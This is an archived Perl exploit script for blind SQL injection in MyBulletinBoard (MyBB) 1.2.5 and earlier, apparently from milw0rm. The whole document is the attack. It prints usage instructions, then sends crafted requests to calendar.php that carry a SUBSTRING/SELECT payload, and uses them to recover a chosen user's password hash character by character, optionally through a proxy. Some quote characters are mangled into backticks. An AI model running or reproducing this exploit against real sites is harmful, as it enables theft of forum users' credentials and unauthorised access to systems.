MyBulletinBoard (MyBB) <= 1.2.5 calendar.php Blind SQL Injection Exploit#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print `                                                                \n`;
  print `   #############################################################\n`;
  print `   #   MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit   #\n`;
  print `   #   Bug found and Exploit coded by 0x86                     #\n`;
  print `   #                                                           #\n`;
  print `   #   www.geeksec.net                                         #\n`;
  print `   #   0x86 [at] geeksec.net                                   #\n`;
  print `   #                                                           #\n`;
  print `   #   Usage:   perl mybb.pl host path <options>               #\n`;
  print `   #   Example: perl mybb.pl www.host.com /mybb/ -u 5          #\n`;
  print `   #                                                           #\n`;
  print `   #   Options:                                                #\n`;
  print `   #     -u    User-ID, default: 1                             #\n`;
  print `   #     -p    Proxy support                                   #\n`;
  print `   #############################################################\n`;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my %options = ();
GetOptions(\%options, `u=i`, `p=s`);

print `[+] Exploiting...\n`;

if($options{`u`})
{
  $userid = $options{`u`};
}

syswrite(STDOUT, `[+] MD5-Hash: `, 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f &amp;&amp; $h <= 57)
  {
    if(istrue2($host, $path, $userid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f &amp;&amp; $h <= 122)
    {
      if(istrue2($host, $path, $userid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print `\n[+] Exploiting done\n`;

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = `http://`.$host.$path.`calendar.php?action=dayview&amp;year=2007&amp;month=3&amp;day=1111111'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20uid=`.$uid.`),`.$i.`,1)=CHAR(`.$h.`)/*`;
 
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = `profile`;
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2007-04-23]